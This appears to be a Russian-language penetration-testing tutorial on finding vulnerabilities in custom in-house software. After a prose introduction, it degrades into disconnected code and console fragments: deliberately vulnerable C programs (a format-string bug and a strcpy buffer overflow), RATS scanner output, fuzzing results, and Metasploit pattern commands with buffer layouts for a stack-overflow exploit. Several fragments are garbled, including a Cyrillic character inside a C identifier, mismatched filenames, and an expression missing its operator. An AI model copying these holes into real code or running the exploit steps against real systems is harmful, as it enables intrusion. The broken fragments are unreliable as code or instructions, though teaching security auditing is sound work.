Поиск уязвимостей в «самописных» приложениях

В предыдущих статьях подробно рассмотрены различные способы проникновения в корпоративную сеть. При этом был затронут вопрос поиска и эксплуатации уязвимостей. Продолжим обсуждение проведения аудита информационной безопасности и поговорим о поиске уязвимостей в «самописном» программном обеспечении.

Не секрет, что многие компании используют в своих бизнес-процессах программное обеспечение собственной разработки. При этом качество данного ПО может быть различным. Крупные организации для разработки ПО прибегают к услугам компаний-разработчиков или нанимают квалифицированных программистов себе в штат. Те, у кого денег не так много, для разработки ПО могут привлекать фрилансеров и студентов. С точки зрения безопасности и качества ПО наилучшим является первый вариант, когда для создания приложения привлекается компания-разработчик. В этом случае она не только несет ответственность за создаваемое ею программное обеспечение, но и за исправление найденных в нем ошибок.

Очевидным недостатком такого метода является высокая стоимость разработки. Второй вариант предполагает нанимать программистов в штат компании на постоянной основе. Здесь качество софта будет во многом зависеть от квалификации нанятых специалистов. С точки зрения экономии зачастую данный вариант не сильно дешевле первого. Ну а третий вариант наиболее распространенный. Компании привлекают людей на стороне для выполнения разовых задач. Зачастую приложение разрабатывает один человек, а его доработку и модернизацию ведет уже другой. Еще «веселее» бывает, когда доработка ведется в отсутствии исходных кодов приложения. В этом случае качество разрабатываемого ПО страдает сильнее всего.

Зачем это нужно

Любое ПО содержит ошибки. Разработчика, будь то серьезная компания, или фрилансера, как правило, поджимают сроки. Чтобы успеть, он осознанно или нет допускает ошибки в программном обеспечении. Однако программные продукты (как бесплатные, так и коммерческие), которые разрабатываются для массового использования, находятся, что называется, у всех на виду.

На портале Securityfocus.com ежедневно публикуются отчеты о десятках новых дыр, найденных экспертами по информационной безопасности со всего мира. А вот ПО, разрабатываемое для нужд конкретных заказчиков, независимые специалисты не проверяют. Многие могут возразить, что раз об этих приложениях никто не знает, то и эксплуатировать уязвимости в них будет сложнее. Но «безопасность через неизвестность» (security through obscurity) – это не очень хорошая практика, так как проникший в корпоративную сеть злоумышленник сможет без труда найти дыру в самописном ПО.

char buf[9];
sprintf(buf, "%p", pointer);

$ rats

Entries in perl database: 68
Entries in ruby database: 66
Entries in python database: 72
Entries in c database: 385
Entries in php database: 74
Total lines analyzed: 0

Total time 0.000010 seconds 0 lines per second

#include <stdio.h>
int main(int argс, char* argv[ ]) {
if(argc > 1)
printf(argv[1]);
return 0;
}

$ rats vuln_code1.c

vuln_code3.c:5: High: printf
Check to be sure that the non-constant format string passed as argument 1 to
this function call does not come from an untrusted source that could have added
formatting characters that the code is not prepared to handle.

#include <string.h>
int main(int argc, char *argv[])
{
char c[12]; // для переменной c зарезервировано 12 байт // копируем переданные из командной строки данные
// в переменную c
strcpy(c, argv[1]);
return 0;
}

# ./fuzzer.py

Fuzzing PASS ...
Fuzzing PASS

with 100 bytes with 2700 bytes

# locate pattern_create

/usr/share/metasploit-framework/tools/pattern_create.rb

# /usr/share/metasploit-framework/tools/pattern_create.rb 2700

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9A c0Ac1Ac2Ac3A...

# /usr/share/metasploit-framework/tools/pattern_offset.rb 9694438

buffer = "A" * 2606 + "B" * 4 + "C" * 90

buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 4)